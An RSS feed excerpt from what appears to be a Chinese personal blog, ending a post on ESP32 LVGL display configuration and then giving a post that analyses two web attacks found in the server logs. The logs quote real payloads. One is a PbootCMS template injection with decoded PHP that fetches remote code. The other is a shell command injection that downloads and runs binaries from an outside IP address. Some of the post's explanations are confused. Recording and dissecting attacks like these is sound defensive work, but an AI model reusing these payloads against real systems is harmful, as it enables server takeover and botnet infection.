New&amp;quot;, monospace; line-height: 19px; white-space-collapse: preserve;&quot;&gt;&amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;swap_bytes&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/p&gt;&lt;div style=&quot;color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; line-height: 19px; white-space-collapse: preserve;&quot;&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #4ec9b0;&quot;&gt;lvgl_port_display_cfg_t&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;disp_cfg&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; { &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;io_handle&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;lcd_io_handle&lt;/span&gt;, &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;panel_handle&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9cdcfe;&quot;&gt;lcd_handle&lt;/span&gt;, &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;control_handle&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;double_buffer&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;trans_size&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer_size&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;EXAMPLE_LCD_H_RES&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;hres&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;EXAMPLE_LCD_H_RES&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;vres&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;EXAMPLE_LCD_V_RES&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;monochrome&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;color_format&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #4fc1ff;&quot;&gt;LV_COLOR_FORMAT_RGB565&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;rotation&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .&lt;span style=&quot;color: #9cdcfe;&quot;&gt;swap_xy&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .&lt;span style=&quot;color: #9cdcfe;&quot;&gt;mirror_x&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .&lt;span style=&quot;color: #9cdcfe;&quot;&gt;mirror_y&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #569cd6;&quot;&gt;false&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; },&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;flags&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buff_dma&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buff_spiram&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;sw_rotate&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;swap_bytes&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,//改成0&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;full_refresh&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;direct_mode&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;},&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;};&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;lvgl_disp&lt;/span&gt; &lt;span style=&quot;color: #d4d4d4;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #dcdcaa;&quot;&gt;lvgl_port_add_disp&lt;/span&gt;(&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;disp_cfg&lt;/span&gt;);&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 14 Mar 2025 15:50:56 +0800</pubDate></item><item><title>记录一次web攻击</title><link>https://pylblog.com/post/261.html</link><description>&lt;p&gt;查看后台日志发现一段恶意攻击---》134.122.184.11 - - [07/Aug/2024:08:21:09 +0800] ＂GET /{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dC9vdGUudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=\x22)))}{/pboot:if}/../../?p=14 HTTP/1.1＂ 301 162 ＂http://n666888.com＂ ＂Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36＂&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;div&gt;这段内容看起来是一段服务器访问日志的记录。其中包含了访问者的 IP 地址（134.122.184.11）、访问时间（2024 年 8 月 7 日 8 时 21 分 09 秒）、请求方式（GET）、请求的路径（/ {...} /../../?p=14）、HTTP 协议版本（1.1）、返回的状态码（301）、传输的数据量（162 字节）、来源网址（n666888）以及用户代理（Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36）。&lt;/div&gt;&lt;p&gt;&lt;br class=&quot;container-PzX343 wrapper-NZ1vL1 undefined&quot; style=&quot;-webkit-font-smoothing: antialiased; box-sizing: border-box; -webkit-tap-highlight-color: rgba(0, 0, 0, 0); content: &amp;quot;&amp;quot;; display: block; font-size: var(--md-box-paragraph-spacing); margin: 1em; overflow-anchor: auto; color: rgb(34, 34, 34); font-family: Inter, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, &amp;quot;SF Pro SC&amp;quot;, &amp;quot;SF Pro Display&amp;quot;, &amp;quot;SF Pro Icons&amp;quot;, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; text-wrap: wrap; background-color: rgb(255, 255, 255);&quot;/&gt;需要注意的是，请求路径中的一些代码部分看起来像是恶意或可疑的操作，可能存在安全风险。例如，其中的“file_put_contents”和“base64_decode”等函数的使用方式不太正常。&lt;/p&gt;&lt;h3&gt;请求行&lt;/h3&gt;&lt;ul style=&quot;box-sizing: border-box; padding: 0px 0px 0px 30px; -webkit-font-smoothing: antialiased; list-style-position: outside; list-style-image: none; margin-top: 14px; margin-bottom: 1em; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;方法:&amp;nbsp;&lt;code&gt;GET&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;URL:&amp;nbsp;&lt;code&gt;/{pboot:if((\x22file_put_co\x22.\x22ntents\x22)(\x22temp.php\x22,(\x22base6\x22.\x224_decode\x22)(\x22PD9waHAgCmZpbGVfcHV0X2NvbnRlbnRzKCcuL2NvcmUvYmFzaWMvZnVuLnBocCcsZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9kLnNvZ291YWQudmlwL3R4dD9vdGUudHh0JykpOwplY2hvICd0ZW1wMTExODg4JzsKdW5saW5rKF9fRklMRV9fKTs=\x22)))}{/pboot:if}/../../?p=14&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;这部分URL经过精心构造，尝试绕过安全过滤和检查。它使用了&lt;code&gt;{pboot:if(...)}{/pboot:if}&lt;/code&gt;这样的结构，可能是在尝试利用某个CMS（如PbootCMS）的模板注入漏洞。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;\x22&lt;/code&gt;是十六进制表示的引号（&amp;quot;），用于绕过某些检测机制。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;file_put_contents&lt;/code&gt;和&lt;code&gt;base64_decode&lt;/code&gt;函数被用于在服务器上写入文件（&lt;code&gt;temp.php&lt;/code&gt;），这个文件的内容是经过Base64编码的PHP代码。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;解码后的PHP代码大致如下：&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;pre&gt;&amp;lt;?php&amp;nbsp;&amp;nbsp;
file_put_contents(&amp;#39;./core/basic/fun.php&amp;#39;,&amp;nbsp;file_get_contents(&amp;#39;http://d.sogouad.vip/txt/ote.txt&amp;#39;));&amp;nbsp;&amp;nbsp;
echo&amp;nbsp;&amp;#39;temp11888&amp;#39;;&amp;nbsp;&amp;nbsp;
unlink(__FILE__);&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; padding: 0px 0px 0px 30px; -webkit-font-smoothing: antialiased; list-style-position: outside; list-style-image: none; margin-top: 14px; margin-bottom: 1em; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;这段代码尝试从远程URL（&lt;code&gt;http://d.sogouad.vip/txt/ote.txt&lt;/code&gt;）下载内容并保存到服务器上的&lt;code&gt;./core/basic/fun.php&lt;/code&gt;文件，然后删除自身（&lt;code&gt;unlink(__FILE__);&lt;/code&gt;）。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;HTTP版本:&amp;nbsp;&lt;code&gt;HTTP/1.1&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;状态行&lt;/h3&gt;&lt;ul style=&quot;box-sizing: border-box; padding: 0px 0px 0px 30px; -webkit-font-smoothing: antialiased; list-style-position: outside; list-style-image: none; margin-top: 14px; margin-bottom: 1em; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;状态码:&amp;nbsp;&lt;code&gt;301&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;这通常表示请求的资源已永久移动到新位置，但在这种情况下，它可能是服务器对非法请求的默认响应，或者是服务器配置导致的重定向。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;响应大小:&amp;nbsp;&lt;code&gt;162&lt;/code&gt;&amp;nbsp;字节&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;引用页:&amp;nbsp;&lt;code&gt;http://n666888.com&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;用户代理&lt;/h3&gt;&lt;ul style=&quot;box-sizing: border-box; padding: 0px 0px 0px 30px; -webkit-font-smoothing: antialiased; list-style-position: outside; list-style-image: none; margin-top: 14px; margin-bottom: 1em; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;用户代理字符串:&amp;nbsp;&lt;code&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;这是一个模拟Chrome浏览器的用户代理字符串，用于伪装正常用户的浏览器访问。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;p&gt;第二个攻击-----》185.224.128.83 - - [07/Aug/2024:08:27:24 +0800] ＂GET /shell?cd+/tmp;rm+earm+earm5+earm7;nohup+wget+http:/\x5C/154.216.20.232/earm7;chmod+777+earm7;./earm7+jaws;nohup+wget+http:/\x5C/154.216.20.232/earm5;chmod+777+earm5;./earm5+jaws;nohup+wget+http:/\x5C/154.216.20.232/earm;chmod+777+earm;./earm+jaws HTTP/1.1＂ 301 162 ＂-＂ ＂KrebsOnSecurity＂&lt;/p&gt;&lt;p id=&quot;&quot; style=&quot;box-sizing: border-box; padding: 0px; -webkit-font-smoothing: antialiased; list-style: none; margin-top: 0px; margin-bottom: 0px; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot;&gt;这条日志记录了一个尝试通过HTTP GET请求在服务器上执行恶意命令的尝试。然而，需要注意的是，HTTP GET请求本身并不支持在服务器上执行命令；这里的尝试似乎是对Web服务器的一个误解或滥用。不过，从URL的结构和内容来看，攻击者显然在尝试利用某个Web应用程序的漏洞来执行一系列恶意操作。&lt;/p&gt;&lt;p id=&quot;&quot; style=&quot;box-sizing: border-box; padding: 0px; -webkit-font-smoothing: antialiased; list-style: none; margin-top: 14px; margin-bottom: 0px; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot;&gt;以下是对URL中尝试执行的操作的解析：&lt;/p&gt;&lt;ol style=&quot;box-sizing: border-box; padding: 0px 0px 0px 30px; -webkit-font-smoothing: antialiased; list-style-position: outside; list-style-image: none; margin-top: 14px; margin-bottom: 1em; font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Source Han Sans CN&amp;quot;, sans-serif, &amp;quot;Apple Color Emoji&amp;quot;, &amp;quot;Segoe UI Emoji&amp;quot;; font-size: 15px; line-height: 1.7; color: rgb(5, 7, 59); text-wrap: wrap; background-color: rgb(253, 253, 254);&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;尝试删除文件：&lt;code&gt;cd+/tmp;rm+earm+earm5+earm7&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;这部分尝试切换到&lt;code&gt;/tmp&lt;/code&gt;目录（但&lt;code&gt;cd&lt;/code&gt;命令后应有空格分隔，这里可能是格式错误或尝试绕过检测），然后删除名为&lt;code&gt;earm&lt;/code&gt;、&lt;code&gt;earm5&lt;/code&gt;、&lt;code&gt;earm7&lt;/code&gt;的文件。但由于&lt;code&gt;+&lt;/code&gt;通常不被shell用作命令分隔符（而是空格或&lt;code&gt;;&lt;/code&gt;），且URL编码可能不正确（&lt;code&gt;\x5C&lt;/code&gt;是反斜杠&lt;code&gt;\&lt;/code&gt;的十六进制表示，但在URL中应直接写为&lt;code&gt;/&lt;/code&gt;），因此这部分可能不会按预期执行。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;下载并执行恶意文件：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;code&gt;nohup+wget+http:/\x5C/154.216.20.232/earm7;chmod+777+earm7;./earm7+jaws&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;这部分尝试使用&lt;code&gt;wget&lt;/code&gt;命令从&lt;code&gt;http://154.216.20.232/&lt;/code&gt;（注意URL中的&lt;code&gt;\x5C&lt;/code&gt;应该是&lt;code&gt;/&lt;/code&gt;的误用）下载名为&lt;code&gt;earm7&lt;/code&gt;的文件，然后将其权限更改为&lt;code&gt;777&lt;/code&gt;（即允许所有用户读写执行），最后尝试执行该文件并传递参数&lt;code&gt;jaws&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;类似的操作还尝试下载并执行&lt;code&gt;earm5&lt;/code&gt;和&lt;code&gt;earm&lt;/code&gt;文件。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;状态码和响应大小：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;状态码&lt;code&gt;301&lt;/code&gt;表示请求的资源已永久移动到新位置，这通常不是由执行恶意命令导致的，而更可能是服务器配置或Web应用程序的默认响应。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;响应大小&lt;code&gt;162&lt;/code&gt;字节可能表示服务器返回的响应体的大小，而不是实际执行的命令的结果。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;引用页和用户代理：&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;引用页为&lt;code&gt;&amp;quot;-&amp;quot;&lt;/code&gt;，表示没有提供引用页信息。&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;用户代理为&lt;code&gt;KrebsOnSecurity&lt;/code&gt;，这很可能是一个伪造的用户代理字符串，用于伪装身份或绕过某些检测机制。实际上，&lt;code&gt;KrebsOnSecurity&lt;/code&gt;是一个知名的网络安全博客，其名称被滥用在这里。&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 07 Aug 2024 09:20:36 +0800</pubDate></item></channel></rss>